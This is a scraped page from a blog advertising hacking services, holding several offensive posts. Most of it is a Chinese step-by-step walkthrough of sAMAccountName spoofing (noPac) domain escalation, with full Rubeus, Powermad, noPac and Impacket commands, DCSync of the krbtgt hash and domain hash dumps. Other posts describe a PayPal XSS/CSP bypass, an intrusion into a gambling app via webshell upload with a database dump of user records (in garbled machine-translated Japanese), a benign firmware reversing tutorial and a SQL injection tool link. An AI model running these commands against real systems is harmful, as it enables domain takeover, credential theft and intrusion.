Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863108711

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking

與標準用戶帳戶相比，機器帳戶會在名稱末尾附加$符號。在默認情況下，Microsoft操作系統缺乏安全控制和加固措施，難以防禦某些攻擊。此外，多年來的事實證明，Windows生態系統中許多事情的工作方式可能會通過利用現有的功能和工作流來加以濫用。

舉例來說，active directory中的每個帳戶都會在“SamAccountName”屬性中提供名稱。但是，它卻沒有提供防止被濫用的措施，因此任何擁有機器帳戶的用戶都可以修改該值。這個值被修改後，可以用來冒充域上的其他帳戶，如域控制器的機器帳戶。 Charlie Clark是第一個詳細介紹如何將這些漏洞武器化的人。

在申請服務票證之前，需要先簽發票證授予票證（TGT）。當為密鑰分發中心(KDC)中不存在的帳戶請求服務票證時，密鑰分發中心將跟踪搜索，並在該帳戶上附加$符號。結合這種行為和對“SamAccountName”屬性缺乏控制的事實，滲透測試人員可以利用這一點進行域升級。具體地說，可以請求域控制器帳戶的票證授予票證，並且在任何服務票證請求之前恢復“SamAccountName”屬性值將強制KDC搜索域控制器的機器帳戶，並代表域管理員發出提權的服務票證。

要想利用該漏洞進行域升級，用戶必須具有機器帳戶的權限，只有這樣才能修改“SamAccountName”和“ServicePrincipalName”屬性。一般來說，可以創建機器帳戶的用戶，都擁有修改這些屬性所需的特權。在默認情況下，域用戶的機器帳戶配額設置為10，這表示允許用戶在域上創建機器帳戶數量。或者，攻擊者也可以從作為機器帳戶所有者的帳戶的角度發動進攻。利用“SamAccountName”執行域升級包括以下步驟：

創建一個機器賬戶

清除“servicePrincipalName”屬性

修改機器賬戶的“sAMAccountName”屬性，以指向沒有$符號的域控制器名稱

為域控制器賬戶申請一個TGT

將“sAMAccountName”屬性恢復為原始值或任何其他值

使用S4U2self方法請求一個服務票據

冒充域管理員賬戶接收服務票據

下圖演示了“sAMAccountName”冒充技術的具體步驟。

1.png

sAMAccountName欺騙

檢測漏洞微軟已經發布了補丁，以防止攻擊者成功利用該漏洞。然而，在很多情況下，補丁並沒有及時應用，這就創造了一個時間窗口，使得這種技術可以在滲透測試中加以利用。該技術的先決條件如下所示：

1、沒有安裝KB5008380和KB5008602安全補丁的域控制器

2、有效的域用戶帳戶

3、機器帳戶配額大於0

由於這個過程需要訪問內部網絡，因此，假定攻擊者已經獲得了低權限的帳戶。如上所述，機器帳戶配額默認為10，因此唯一的要求是識別系統是否應用了補丁。這並非難事，可以通過請求沒有域用戶帳戶的PAC的票證授予票證並觀察base64票證大小（與使用PAC發出的票證相比要更小）來實現。 Rubeus可以與/nopac開關一起使用，以請求已知憑據的域帳戶的TGT。

Rubeus.exe asktgt /user:pentestlab /password:Password1234 /domain:purple.lab /dc:dc.purple.lab /nopac /nowrap

1.png

通過Rubeus檢測sAMAccountName欺騙漏洞

從票據大小來看，可以認為域控制器是易受攻擊的，因為票證沒有隨PAC一起發出。

1.png

沒有PAC時Rubeus票據的大小

另外，C#工具noPac可用於檢索網絡上所有可用域控制器的TGT票證。該工具是基於Rubeus的，因為它使用庫“Rubeus.lib.Interop.LUID”來獲取票證。票證的大小可以確定KDC是否發出了沒有PAC的票證。

noPAC.exe scan -domain purple.lab -user pentestlab -pass Password1234

1.png

noPac掃描器

如果通過PowerShell控制台進行操作的話，可以藉助於Shitsecure開發的一個PowerShell腳本“Invoke-noPac”——它可以將.NET程序集noPac嵌入base64中。由於該工具實際上就是noPac，所以可以使用同樣的參數來檢索票證。

Import-Module .\Invoke-noPAC.ps1

Invoke-noPAC -command 'scan -domain purple.lab -user pentestlab -pass Password1234'

1.png

掃描PowerShell

手動方式實際上，現在已經有各種各樣的工具和腳本，可以幫助我們從加入域和沒有加入域的系統中自動完成上述任務。但是，在深入研究自動化之前，了解如何使用現有工具組手動完成漏洞利用是非常重要的。通過活動目錄創建機器帳戶對於滲透測試人員來說並不陌生，因為在基於資源的受限委託期間也可以使用它。 Kevin Robertson開發了一個名為Powermad的PowerShell模塊，該模塊提供了在域上創建機器帳戶的功能。

New-MachineAccount -MachineAccount 'PentestLab' -Domain 'purple.lab' -DomainController 'dc.purple.lab'

1.png

創建機器賬戶

使用PowerSploit的“Set-DomainObject”從已創建的機器帳戶中刪除服務主體名稱值非常方便：

Set-DomainObject 'CN=PentestLab,CN=Computers,DC=purple,DC=lab' -Clear 'serviceprincipalname'

1.png

清除SPN

通過Powermad和“SetMachineAccountAttribute”函數，也可以修改'SamAccountName'屬性值以使其指向域控制器主機名：

Set-MachineAccountAttribute -MachineAccount 'PentestLab' -Value 'dc' -Attribute 'samaccountname'

1.png

重命名sAMAccountName

查看活動目錄中的屬性，可以看到新機器帳戶的值現在指向“dc”，因此這個帳戶能夠冒充域控制器。

1.png

sAMAccountName欺騙

我們可以通過查詢域控制器來驗證屬性“sAMAccountName”是否已被修改。此外，PowerSploit中的“GetDomainComputer”函數可以用來枚舉域上機器帳戶的屬性。

Get-DomainComputer 'CN=Pentestlab,CN=Computers,DC=purple,DC=lab' -Domain purple.lab -Server dc.purple.lab | select samaccountname

1.png

檢索sAMAccountName

當涉及到Kerberos的操作時，Rubeus是一個標準工具。由於sam賬戶的名稱已經修改，所以，它現在可以從標準用戶的上下文中為dc賬戶申請票證授予票證。

.\Rubeus.exe asktgt /user:'dc' /password:'Password123' /domain:'purple.lab' /dc:'dc.purple.lab' /nowrap

1.png

檢索TGT

下面，我們需要把sam帳戶名屬性恢復到其原始值或任何其他值，否則無法發出服務票證。

Set-MachineAccountAttribute -MachineAccount 'PentestLab' -Value 'PentestLab$' -Attribute samaccountname

1.png

恢復sAMAccountName

由於TGT已經存儲在內存中，所以，現在可以使用kerberos擴展's4u2self'以域管理員的身份來請求服務票證。由於原始票證屬於dc用戶，而sam帳戶名已重命名，即該用戶已經不存在，所以，Kerberos將查找dc$，這是一個有效的機器帳戶，並為請求的服務發出票證。

./Rubeus.exe s4u /self /impersonateuser:'Administrator' /altservice:'cifs/dc.purple.lab' /dc:'dc.purple.lab' /ptt /ticket:[Base64 TGT]

1.png

請求服務票證

我們可以在現有會話中執行Mimikatz，以便通過DCSync技術轉儲“krbtgt”帳戶的哈希值，從而創建黃金票證。

lsadump:dcsync /domain:purple.lab /kdc:dc.purple.lab /user:krbtgt

1.png

DCSync

自動化方式基於sAMAccountName欺騙的滲透測試，也可以使用由Cube0x0開發的C#工具noPac直接從內存中自動完成。為此，我們可以執行下面的命令，創建一個具有指定密碼的機器帳戶，並將獲得“CIFS”服務的服務票證，該服務票證將被傳遞到內存中。

noPac.exe -domain purple.lab -user pentestlab -pass Password1234 /dc dc.purple.lab /mAccount pentestlaboratories /mPassword Password123 /service cifs /ptt

1.png

noPac

以下命令可用於驗證域升級的情況，因為標準用戶可以枚舉域控制器上C$文件夾的內容。

dir \\dc.purple.lab\c$

1.png

驗證域升級

類似地，如果初始implant是基於PowerShell的，則可以在Invoke-noPac腳本中使用相同的命令行參數。正如上面所說的那樣，它實際上是noPac C#工具的包裝器。

Invoke-noPac -command '-domain purple.lab -user pentestlab -pass Password1234 /dc dc.purple.lab /mAccount pentestlab /mPassword Password123 /service cifs /ptt'

1.png

noPac PowerShell

訪問域控制器的C$文件夾可以驗證緩存到內存中的服務票證是否已經升級。

dir \\dc.purple.lab\c$

1.png

驗證服務票證是否已經升級

擴展到非域機器該技術的相同原理，也可以應用到未連接到域的系統上。 Hossam Hamed發布了一個名為“sam the admin”的python腳本，它模擬了這種攻擊。最初，該腳本將嘗試列舉“ms-DS-MachineAccountQuota”屬性，以確定是否可以在域中添加新的機器。然後，將用隨機密碼創建一個機器賬戶。新機器賬戶的“sAMAccountName”屬性將被修改為包含域控制器機器賬戶的值。然後，請求一個升級的票證並保存到緩存中。最後，“sAMAccountName”屬性的原始值將被恢復，並使用Impacket套件中的“smbexec”建立到域控制器的會話，並使用緩存的票證。

python3 sam_the_admin.py 'purple/pentestlab:Password1234' -dc-ip 10.0.0.1 -shell

1.png

sam the admin shell

該腳本包含一個標誌，可用於在後台利用“secretsdump”來轉儲域哈希值。

python3 sam_the_admin.py 'purple/pentestlab:Password1234' -dc-ip 10.0.0.1 -dump

1.png

sam the admin dump

這些哈希值可用於脫機破解，以便識別正在使用的弱密碼，並確定客戶端的密碼策略是否足夠強、是否符合行業標准或是否需要進一步評估。此外，由於“krbtgt”帳戶的哈希值是可見的，可以為域持久化創建一個黃金票證。

1.png

轉儲域哈希值

Oliver Lyak發布了一個類似的python腳本，它既可以用於掃描域控制器以識別易受攻擊的主機，又可用於檢索授予服務票證的票證。

python3 pachine.py -dc-host dc.purple.lab -scan 'purple.lab/pentestlab:Password1234'

1.png

Pachine掃描器

對易受攻擊的域控制器執行以下命令，就可以創建一個具有隨機密碼的機器帳戶，以獲取票證授予票證。然後，重命名機器帳戶名稱，並使用S4U2self檢索服務票證，並將其保存在本地，以供屬於“域管理員”組的管理員用戶使用。

python3 pachine.py -dc-host dc.purple.lab -spn cifs/dc.purple.lab -impersonate administrator 'purple.lab/pentestlab:Password1234'

1.png

利用Pachine獲取票證

可以使用“export krb5ccname”和存儲票證的路徑將票證導入Kerberos緩存。由於票證現在是從當前控制台導入的，因此，Impacket“psexec”可以與Kerberos身份驗證一起使用，以便訪問域控制器。

export KRB5CCNAME=administrator@purple.lab.ccache

impacket-psexec -k -no-pass 'purple.lab/administrator@dc.purple.lab'

1.png

PsExec

通過一個基於python腳本“sam the admin”的工具來實現該技術也是可行的，這個腳本名為noPac。這個掃描器腳本將枚舉“ms-DS-MachineAccountQuota”屬性，並嘗試從所有可用的域控制器獲得票證授予票證。票證大小也將顯示在控制台中，以便快速識別易受攻擊的目標。在下面的示例中，與主機10.0.0.1相比，在沒有PAC的情況下接收的兩個票證相對較小，所以，主機10.0.0.1發出的是一個帶有PAC的票證。

python3 scanner.py purple.lab/pentestlab:'Password1234' -dc-ip 10.0.0.1

1.png

noPac掃描器

這個腳本可以根據活動的需要用各種參數執行。只需指定一個域用戶的憑證和域控制器的IP地址就可以發動攻擊，直到檢索到一個升級的票證為止。

python3 noPac.py purple.lab/pentestlab:'Password1234' -dc-ip 10.0.0.1

1.png

sAMAccountName Spoofing – 通過noPac 檢索服務票證

1.png

sAMAccountName Spoofing – noPac

只要附加“-shell”和“-impersonate”標誌，便可以在域控制器上建立會話。

python3 noPac.py purple.lab/pentestlab:'Password1234' -dc-ip 10.0.0.1 -dc-host dc -shell --impersonate administrator

1.png

冒充Administrator

類似地，“-dump”標誌可用於從域用戶的ntds.dit秘密中檢索哈希值。由於已經通過Kerberos票證實現了域管理員訪問權限，因此，可以獲取“krbtgt”帳戶的哈希值，以便建立域的持久性訪問。

python3 noPac.py purple.lab/pentestlab:'Password1234' -dc-ip 10.0.0.1 -dc-host dc --impersonate administrator -dump -just-dc-user purple/krbtgt

1.png

轉儲krbtgt的哈希值

演示視頻可以從這裡查看。

參考資料https://exploit.ph/cve-2021-42287-cve-2021-42278-weaponisation.html

https://exploit.ph/more-samaccountname-impersonation.html

https://github.com/WazeHell/sam-the-admin

https://github.com/cube0x0/noPac

HireHackking

ee02-article-dom_invader_pp_page_article_image.png

當DOM XSS 隱藏在數千行代碼中時，查找DOM XSS 可能會很棘手。我們最近開發了DOM Invader 來幫助解決這個問題，使用組合的動態+手動方法來發現漏洞，並迅速發現了一個影響PayPal 的有趣的Polyglot DOM XSS。在這篇文章中，我們將展示如何使用意外腳本gadget繞過基於允許列表的CSP。大多數現代網站都使用多個JavaScript庫，並且有很多行複雜的壓縮代碼，這使得對DOM XSS的測試變得非常令人頭痛，PortSwigger安全研究部門專門開發了DOM Invader，使對DOM XSS的測試更加容易。 DOM Invader將為你提供一個方便的樹狀視圖，以此來顯示目標的源和匯（不理解別著急，這是BurpSuite的一個定義），這極大地簡化了發現DOM XSS的過程。

首先，我們使用Burp 的嵌入式瀏覽器來導航站點並註入canary以查看每個頁面上使用了哪些源和接收器。當我們遇到一些有趣的接收器時，我們會使用canary一起發送諸如'' 之類的字符探測器，並檢查接收器以查看它們是否被允許。我們沒花多少時間就找到了一個頁面，它以一種不安全的方式反映了我們的探測器。通常這很困難，因為反射是不可見的，但使用DOM Invader就很容易了。

1.png

正如你在上面的截圖中看到的，我們的canary被反映在一個id 屬性中。如果我們發送一個雙引號，則可以看到值如何到達接收器。但是當發送雙引號時，屏幕變為空白。但是，如果我們轉義雙引號，則站點不會中斷，我們可以看到它到達接收器：

2.png

在HTML 中，反斜杠對雙引號沒有影響——所以我們似乎有一個XSS 漏洞。我們需要通過注入其他字符來確認這一點，這將導致JavaScript 執行。在對這個漏洞進行多次探測後，我們注意到注入的值必須是一個有效的CSS 選擇器。所以我們想出了以下向量：

3.png

由於CSP的原因，這一功能最初並沒有發揮作用，但當我們在Burp中禁用這一功能時，我們收到了警報。然後，我們在HackerOne上向PayPal報告了這一情況，以及禁用CSP的說明。讓我們驚訝的是，我們得到了HackerOne 人員的回應：經過審查，您所描述的行為似乎沒有任何安全風險或安全影響。

顯然我們不同意這個評估，於是開始尋找繞過PayPal 政策的方法。

繞過PayPal上的CSP首先，我們研究了CSP，並註意到一些薄弱的部分。在script-src指令中，他們允許某些域，例如*.paypalobjects.com 和*.paypal.com。它們還包括“unsafe-eval”指令，該指令將允許使用eval、Function 構造函數和其他JavaScript 執行接收器：

4.png

查看策略，允許列表和“unsafe-eval”可能是繞過CSP的最佳目標。因此，我們在Burp Suite範圍中添加了這些域。你可以在作用域中使用正則表達式，這非常方便。我們的範圍是這樣的：

5.png

Burp允許你在範圍中選擇特定的協議，由於策略具有“block-all-mixed-content”指令，我們只選擇了HTTPS 協議。

在學習了CSP之後，我們打開了Burp中的嵌入式瀏覽器，開始手動瀏覽網站，這是為了挑選那些擁有大量JavaScript資源的目標。當我們收集了大量的代理歷史記錄後，就可以使用Burp 出色的搜索功能來查找較舊的JavaScript 庫。 Burp允許你只搜索範圍項，所以我們選中了那個框，這允許我們找到繞過CSP的資產。

我們從搜索AngularJS開始，因為用它很容易創建CSP繞過。有對Angular 的引用，但沒有對AngularJS 的引用但我們嘗試的JavaScript文件似乎並沒有加載Angular，也沒有引發異常。所以我們轉向Bootstrap，在請求頭和響應體中進行搜索。出現了幾個Bootstrap 實例，我們發現了一個舊版本(3.4.1)。

接下來，我們研究了Bootstrap gadget。 GitHub 上存在一些XSS 問題，但這些影響了3.4.0 版本。我們查看了Bootstrap代碼一段時間，尋找jQuery的使用情況，但沒有找到合適的gadget。

我們沒有在數據庫中找gadget，而是想到了PayPal gadget。如果PayPal 有一些我們可以利用的不安全JavaScript ，那豈不是更好。這一次，我們沒有搜索特定的庫，而是搜索託管庫的路徑的一部分（例如“/c979c6f780cc5b37d2dc068f15894/js/lib/”）。在搜索結果中，我們注意到一個名為youtube.js 的文件，並立即在其中發現了一個明顯的DOM XSS 漏洞：

6.png

這個文件使用的是jQuery，所以我們所需要做的就是包含jQuery和youtube.js，利用這個漏洞，然後我們繞過了CSP。看看YouTube .js文件，我們看到它使用了一個CSS選擇器來找到YouTube播放器元素：

7.png

因此，我們需要注入一個帶有“youtube-player”類的元素和一個包含jQuery XSS向量的data-id屬性。一旦我們有了通用PayPal CSP繞過的基礎，要做的就是把它與原始注入結合起來。首先，我們注入了一個帶有srcdoc 屬性的iframe。這是因為我們想注入一個外部腳本，但因為這是一個基於DOM 的漏洞，腳本將無法執行。但是有了srcdoc，會發生以下情況：

8.png

請注意，我們需要通過轉義雙引號並為選擇器的值部分分配單引號來確保它是一個有效的選擇器。然後再注入指向jQuery 和YouTube gadget的腳本：

9.png

請注意，我們必須對向量進行HTML 編碼，因為我們不希望它以字符關閉srcdoc屬性。出於同樣的原因，我們避免使用空格。然後我們使用YouTube gadget注入腳本，jQuery 會轉換並執行該腳本。我們再次需要對向量進行HTML 編碼，給它正確的類名，並使用data-id 屬性來注入我們的向量。注意，我們使用了一個編碼的單引號來避免屬性中斷。我們必須對雙引號進行HTML編碼，因為srcdoc將解碼HTML，而data-id屬性將在iframe中呈現時進行解碼，因此雙編碼可確保引號在註入YouTube gadget時存在。最後，我們使用單行註釋進行清理，以確保腳本在註入後忽略任何內容，即用雙引號和單引號完成CSS 選擇器。

10.png

可以在此處找到最終的概念證明。

概念證明這是PoC 的截圖：

11.png

可以看到對所有PayPal 的完整CSP 繞過，但它是必要的嗎?正如我們所見，jQuery是CSP的剋星。它使用“unsafe-eval”指令轉換腳本，並且很樂意使用策略執行它們。看看原始的XSS漏洞，它似乎是一個jQuery選擇器。因此，我們可以注入一個腳本，它將被jQuery轉換。所以不需要單獨的CSP 繞過。因此，我們可以將注入簡化為以下內容：

12.png

完整的概念證明請點此。

總結允許列表策略絕對是不安全的，尤其是當你有大量可能被濫用的腳本/庫時。即使用戶輸入通常不需要，也要修復XSS，這有助於防止意外的腳本gadget。

你永遠不應該僅僅依靠CSP 來保護XSS。 雖然這是你防禦的一部分，但它不是唯一可用的障礙。

HireHackking

在本文中，我們將以ANYTONE 878UVII對講機中的固件為例，為大家演示如何對ARM固件映像進行逆向分析。不過，本文中的大部分內容，對於ARM架構來說都是通用的。

本文假設讀者已經熟悉IDA Pro，並且至少分析過一些普通的二進製文件。如果您還不熟悉IDA，只需在網上搜索一下，就能找到許多非常優秀的入門教程，大家可以先通過它們來掌握相關的基礎知識。

固件映像就本文來說，我們只需IDA Pro和ANYTONE 878UVII對講機的固件映像就能搞定我們的實驗。並且，所需的映像還可以從分銷商網站下載。實際上，下載哪個版本並不重要，但本文是將以2.04版本為例進行介紹。

1.png

在下載的更新包中，我們可以找到FW文件夾，其中包含三個文件：CDI、SPI和CDD文件。其中，CDD是最大的文件，它實際上就是我們要分析的固件映像。

這次我們的運氣不錯，因為這個固件映像並沒有加密，否則，事情就會麻煩一些。它只是內部閃存中的映像，甚至連文件頭都沒有。並且，該文件的元數據被拆分為單獨的文件。所以，我們可以直接在IDA Pro中加載CDD文件。

技術背景ANYTONE 878系列對講機使用的是GigaDevice GD32 ARM Cortex-M4微控制器：通過拆開對講機，我們就能看到這些芯片的型號。

除了拆對講機外，實際上還有另一種更方便的方法：查詢FCC。如果您的設備符合FCC的要求，網上應該有關於它的公開信息。這時，我們可以直接在FCC或獨立的數據庫中搜索製造商的信息。大多數情況下，我們會找到一份帶有“內部照片”的文件。這個文件通常能夠提供我們感興趣的信息，比如芯片型號等，這樣，我們就不用拆機了。

1.png

重要的是，我們建議大家下載CPU的數據表，並保存起來供後面使用：後面步驟中需要設置的參數，都可以從中找到。

關於CPU的相關設置首先要做的是，把CDD拖到打開的IDA Pro窗口中，或者通過文件菜單打開它。 IDA會檢測出這是一個二進製文件。然後，將“Processor type”指定為“ARM little-endian”，具體如下圖所示。

1.png

現在，先別按“Ok”按鈕，因為還要對處理器選項進行一些設置。我們知道，這種設備使用的處理器是基於ARMv7E-M架構的。因此，我們必須對處理器選項做相應的修改。最佳設置如下圖所示；為此，需要按下“Processor options”菜單中的“Edit ARM architecture Options”按鈕，這樣就可以找到中間的窗格了。

1.png

由於這個項目與Thumb指令集高度相關，所以也建議在“ARM specific options”中勾選“No automatic ARM THUMB switching”選項。雖然這一點並沒有顯示在上面的截圖中，但對本項目來說的確是一個非常有用的設置。

加載映像現在，我們已經完成了基本的CPU設置。接下來，我們需要將加載的固件映像重新定位到正確的偏移量處。這個固件映像將被加載到IDA數據庫的ROM部分。由於CPU不會從文件中的0x00處開始加載映像，所以，我們必須重新定位。如果跳過這一步，交叉引用將被破壞，反彙編文件將無法正常工作。我們的目標設備中使用的ARM CPU將要求映像從偏移量0x8004000處開始。這裡其實就是映射到物理ROM的內存位置，所以，我們需要將文件映射到這個地址。

在單擊“Load new file”對話框中的Ok按鈕之後，將會出現如下所示的對話框。通常情況下，RAM的大小和ROM的大小並不需要調整。它們現在已經正確地自動填充好了。

1.png

接下來要做的事情，就是創建一個RAM分區。為此，可以勾選“Create RAM section”，分配的RAM將從0x20000000位置開始，長度為0x17FFF。

如何找到正確的內存偏移量如果讀者是第一次接觸這方面的內容，通常會有這樣的疑問：這些值是如何確定的？答案很簡單，我們可以從之前下載的數據手冊中找到它們。

從第17頁的內存映射部分，我們可以找到主閃存（固件文件）的加載地址。而在第16頁中，我們可以找到SRAM偏移量和這段內存的長度。

1.png

很簡單吧？上面所做的只是將文件/映像重新定位到從我們的數據表中獲取的正確位置。關於主閃存有一個小技巧，第一個0x4000似乎是由引導程序獲取的，所以，我們的二進製文件必須位於0x8004000處。

二進製文件的結構對於第一次使用IDA的讀者來說，感覺可能非常奇怪：它並沒有像其他軟件一樣進行自動分析，也沒有展示程序代碼，相反，它只是給出了大量的十六進製字符。難道是我們哪裡做錯了嗎？很可能不是。如果您正在使用IDA Pro分析固件映像，這是非常正常的現象。這裡的難點在於，我們必須自己從頭開始進行分析。

1.png

但這也沒有想像的那麼難。首先，讓我們考察文件的開頭位置。這是ARM CPU開始執行代碼的地方。在這個偏移量處，一個被稱為向量表的結構被定位，它在ARM Cortex通用用戶指南中有很好的詳細描述。

1.png

正如我們在用戶指南的圖形中所看到的，偏移量0x0000(0x08004000)處包含初始堆棧指針。 CPU將在這個地址加載接下來的四個字節，並將其用作指向未來堆棧的指針。

復位處理程序接下來的字節是各種處理程序，最重要的是複位處理程序（reset handler）。它正是CPU要啟動或重新啟動時將會跳轉到的地方。

1.png

它又是一個4字節的地址，對於我們的映像來說，這個地址很容易解析。正如鍊接的ARM用戶指南文章所告訴我們的，如果地址的最低有效位為1，則處理程序為Thumb。

在我們的例子中，該地址的最後一個字節是0xF9，二進制形式為11111001B。我們可以看到，這裡的最低有效位確實是1。因此，我們需要將復位處理程序的入口點改為Thumb。實際上，復位處理程序的實際偏移量也由於該位的值而移動了一個字節。

0xF9=11111001b (with Thumb indicator)

0xF8=11111000b (without)

單擊這個偏移量，就會跳轉到復位處理程序的地址減1個字節的地方。現在，請按“Alt+G”，這時會打開一個對話框，我們需要將下面的部分定義為Thumb(CODE16)。

1.png

這個項目主要涉及Thumb指令集，因此，您也可以從ROM段的第一個字節開始使用Thumb代碼。請記住，這一點並非適用於所有的ARM項目。但對於這個項目來說，這是沒問題的。

將當前偏移量改為CODE16後，只需按“C”，就能在該偏移量處創建代碼了。現在，我們就應該可以看到復位處理程序的代碼了。

1.png

查找其他代碼和字符串上面介紹的方法雖然能用，但是通過手動方式來創建所有的代碼是相對繁瑣的。別擔心，我們可以藉助於腳本來完成這些任務。實際上，Maddie Stone已經為IDA Pro創建了許多非常方便的腳本，能夠給我們帶來極大的便利。

由於她的腳本不能用於較新的IDA版本（在寫這篇文章時，最新的版本為7.7），所以，我們專門把適用於IDA 7.x版本的腳本上傳到了Github上，讀者可以從https://github.com/alexander-pick/IDAPythonEmbeddedToolkit下載。為了支持基於ARM的項目，我已經對這些代碼做了相應的處理。

首先，我們可以使用腳本define_code_functions.py，在0x08004000到0x080963DC大致範圍內創建代碼。如果腳本詢問是否要撤銷現有的代碼，請選擇No。

IDA Pro應該可以正常工作了，此時的ROM部分應該開始變得更有趣了。

1.png

接下來，我們可以使用make_strings.py腳本，在ROM的其餘部分創建字符串。這時，你會在其中發現許多我們感興趣的字符串。

關於字符串引用分析這個固件時，我們會發現一個奇怪的現象。由於ANYTONE的開發人員為多國語言創建了固件，所以，他們使用了引用表。因此，這可能導致我們會遺漏某些字符串的引用。之所以會發生這種情況，是因為這些字符串是根據選擇的語言來動態加載的。遺憾的是，基於IDA的靜態分析是無法解決這個問題的。

不過，引導過程中的一些字符串是直接嵌入的，所以它們解析起來問題不大。因此，我們可以從這些字符串開始下手。

1.png

為了做進一步的分析，我們需要能夠識別一些基本的OS函數，即操作嵌入字符串的函數，比如“print”或“read”函數等。當然，類似“memcpy”這樣的函數在各種操作系統中都是非常常見的。

非常值得注意的是“print_string”函數（一旦識別出來，我就把它重命名為這個名字）。它接受一些坐標和一個字符串作為參數，並將字符串顯示在屏幕上給定的位置處。這個函數在啟動菜單中被大量使用。

從固件鏡像中的字符串可以識別出設備使用的RTOS（實時操作系統）是μC/OS-II。 μC/OS-II是一個用ANSI C編寫的免費實時操作系統。關於該系統的進一步介紹，以及相關文檔，讀者可以在這裡找到；而相關代碼則可以從這裡下載。感興趣的讀者可以參考這些資料，它們應該對您有很大的幫助。

I/O和外圍設備像這樣基於ARM的CPU通常使用特殊的內存區域來處理地址總線、GPIO、I/O或簡單的定時器和時鐘，具體請參閱數據表。實際上，在第14頁中，大家可以找到我們用來指定加載偏移量的內存映射。該映射還包含要添加到數據庫中的特殊內存區域。

打開IDA中的內存區域視圖（segments view）並將它們添加到數據庫中，結果應該與下圖類似。如果你想偷懶，則可以使用這個IDC（https://github.com/alexander-pick/useful-script-and-code/blob/master/GD32F303xx_segments.idc）來完成這個過程。

1.png

現在，請重新運行自動分析（Options - General - Reanalyse program）以創建交叉引用。

一旦你完成了上面的步驟，就可以查看感興趣的內存區域，看看是否有對它們的交叉引用。這些可以幫助您找到使用特定總線、GPIO或I/O的函數。

如果您查找操作UART的函數，只需檢查UART區域，就會找到對它的引用。這在沒有或只有很少字符串作為引用的情況下是特別有用的。

小結我認為，到目前為止，您應該已經具備了自己研究這一主題所需的一切。請隨時給我留言。如果您還有什麼問題，儘管問。我總是很高興看到人們分享有趣的發現。

閱讀愉快！

HireHackking

0x01準備ツールこの浸透は、主にAndroidアプリを対象としています。ほうれん草アプリのバックエンドサーバーは海外であり、プラットフォームには多くの違法なギャンブル関連のミニギャンブルゲームが含まれています。

图片

1. Thunderbolt Androidエミュレーター。ギャンブルWebサイトのインストールプログラムを実行するために使用されます。

2。パケットキャプチャツールフィドラー（またはバープスーツ、ワイレシャーク）を使用して、トラフィックパケットをキャッチしてウェブサイトのバックエンドサーバーアドレスを見つけます。

3。Sublist3r、中国のアリの剣、その他の従来の浸透ツール。

0x02情報収集1。サーバーアドレスを見つけます。ネットワークほうれん草アプリのサーバーアドレスのトラフィックパケットキャプチャ分析。 Fiddlerを使用してAndroidエミュレータートラフィックをつかみ、分析を通じてアプリバックエンドWebサイトアドレスを取得します：http://****。com。また、BPまたはWiresharkツールを使用してパッケージをキャッチすることもできます。また、多くのオンラインチュートリアルがあります。

图片

ドメイン名「****。com」はパケットキャプチャにあり、ターゲットサーバーIPアドレスが見つかりました：x.x.x.x.x.

图片

2。サブドメイン名を取得します。

sublist3r.pyを使用してドメイン名を収集します。

python sublist3r.py -d xxx.com -o 1.txtいくつかのサブドメインが見つかりましたが、テストではブレークスルーは見つかりませんでした

0x03浸透プロセス1。HTML5ページを登録してログインして検出します。アプリページに登録してログインし、アドレスをクロールし、クロールをアドレスに持ち込み、ブラウザにログインします。アプリページは純粋なHTML5ページであることがわかりました。これにより、ブラウザで動作する方が便利です。

图片

2。フロントデスクアカウントの注入は失敗しました。テスト番号を使用して登録し、パッケージをつかんでパッケージを変更します。注入点を見つけますが、注入は失敗しました。

图片

3.登録されたユーザーにログインして、アップロードの脆弱性を見つけます。ユーザーブラウジング機能には、個人センターにIDレビュー機能があります。ユーザー情報を確認するには、ID情報をアップロードする必要があります。このアップロード関数は、トロイの木馬のアップロードポイントを隠すことができると推測されます。

图片

4.ファズテストをアップロードした後、バックエンドプログラムはMIMEおよびファイルヘッダーのコンテンツのみを検証します。ファイルタイプのバイパスメソッドを変更し、Picture Horseを直接アップロードしてMIMEタイプを変更し、それを正常にアップロードしてシェルアドレスを取得します。

图片

5.「中国のアリの剣」を使用して、トロイの木馬に正常に接続し、サーバーWebサイトのソースコードでデータベース構成ファイルを分析して見つけ、データベースに正常に接続することです。

图片

6.チャイニーズアリの剣を使用してデータベースに正常に接続し、アカウントとパスワードのハッシュ値を取得します。

图片

7.ファイルディレクトリ構造分析を介して、背景は単一のエントリファイルであり、パラメーターs=管理者は背景に正常にジャンプし、データベースを介してバックエンドアカウントのハッシュ値を復号化し、バックグラウンドに正常にログインします。

图片

管理者のバックエンド許可を取得することにより、同じ日にウェブサイト上の登録ユーザーの数を把握でき、ギャンブルのオッズの数は86でしたが、資本の流れは542,000元でした。管理者ログインログの観点から、メインのログインIPはフィリピン、香港、広州、ベトナムおよびその他の場所で配布されています。

图片

ユーザーログインログレコードとデータには、ユーザーのID、ログインIP、携帯電話番号、ログイン時間、その他の情報が含まれます。

图片

ユーザーベットの記録、データにはメンバーID、賭け金額、累積レベルギフトなどが含まれます。

图片

0x04ホール掘削方法の概要1。注入を見つけて、データベースユーザーの権限とサイトライブラリが同じサーバーであるかどうかに注意してください。

2。さらなる攻撃のためにバックグラウンドを入力する目的でXSSを見つけます。

3.アップロード、アプリケーションリンク、メンバーアバター、いくつかの機密ページなど、アップロードできるページを見つけて、検証方法をバイパスできるかどうかを確認し、サーバーの解析特性と組み合わせることができるかどうかを確認します。

4.ダウンロードを見つけて、記事の最後にあるWebサイトのダウンロード列または添付ファイルリンクにダウンロードする不正ファイルがあるかどうかをテストします。

5.編集者、典型的なeweditors、fckeditorsなどを見つけます。

6.可能なバックグラウンド管理プログラムを見つけて、パスワードが弱いことを試してみてください

元のリンクから転載： https://mp.weixin.qqc.com/s?__biz=mzg2ndawmda1na==mid=2247485589Idx=1SN=F4F644EA923675C425F1DE9E4E287FB07CHKK SM=CE67A20CF9102B1A1A171041745BD7C243156EAEE575B44444444444D325E2CD2D9F72B2779CF01SCENE=21＃WECHAT_REDIRECT

HireHackking

一些朋友在群里经常遇到sql注入的问题，有时候有waf、有时候是盲注、有时候不知道如何下手? 今天分享一款工具，名字是超级注入工具

下载地址： https://github.com/shack2/SuperSQLInjectionV1

案例1:  带waf的盲注

bn1pbf51vve14839.png

